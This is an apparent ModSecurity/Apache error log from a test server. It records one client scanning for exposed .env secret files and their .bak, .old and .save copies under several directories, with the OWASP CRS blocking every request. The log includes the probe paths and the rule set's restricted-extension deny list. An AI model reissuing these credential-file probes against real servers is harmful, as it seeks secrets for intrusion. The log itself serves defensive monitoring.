[Thu Oct 30 20:07:02.673054 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aQO3VpdseHRrfd8_FeKIjgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:02.673266 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aQO3VpdseHRrfd8_FeKIjgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:03.180632 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aQO3V5dseHRrfd8_FeKIjwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:03.180819 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aQO3V5dseHRrfd8_FeKIjwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:03.181078 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aQO3V5dseHRrfd8_FeKIjwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:03.181267 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aQO3V5dseHRrfd8_FeKIjwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:03.688286 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aQO3V5dseHRrfd8_FeKIkAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:03.688540 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aQO3V5dseHRrfd8_FeKIkAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:03.688749 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aQO3V5dseHRrfd8_FeKIkAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:04.195232 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aQO3WJdseHRrfd8_FeKIkQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:04.195497 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aQO3WJdseHRrfd8_FeKIkQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:04.195694 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aQO3WJdseHRrfd8_FeKIkQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:04.708238 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aQO3WJdseHRrfd8_FeKIkgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:04.708437 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aQO3WJdseHRrfd8_FeKIkgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:04.708687 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aQO3WJdseHRrfd8_FeKIkgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:04.708925 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aQO3WJdseHRrfd8_FeKIkgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:05.217321 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aQO3WZdseHRrfd8_FeKIkwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:05.217510 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aQO3WZdseHRrfd8_FeKIkwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:05.217753 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aQO3WZdseHRrfd8_FeKIkwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:05.217963 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aQO3WZdseHRrfd8_FeKIkwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:05.727260 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aQO3WZdseHRrfd8_FeKIlAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:05.727520 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aQO3WZdseHRrfd8_FeKIlAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:05.727721 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aQO3WZdseHRrfd8_FeKIlAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:06.246855 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aQO3WpdseHRrfd8_FeKIlQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:06.247123 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aQO3WpdseHRrfd8_FeKIlQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:06.247361 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aQO3WpdseHRrfd8_FeKIlQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:06.752301 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aQO3WpdseHRrfd8_FeKIlgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:06.752540 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aQO3WpdseHRrfd8_FeKIlgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:06.752903 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aQO3WpdseHRrfd8_FeKIlgAAAAY&quot;], referer: https://www.google.com/
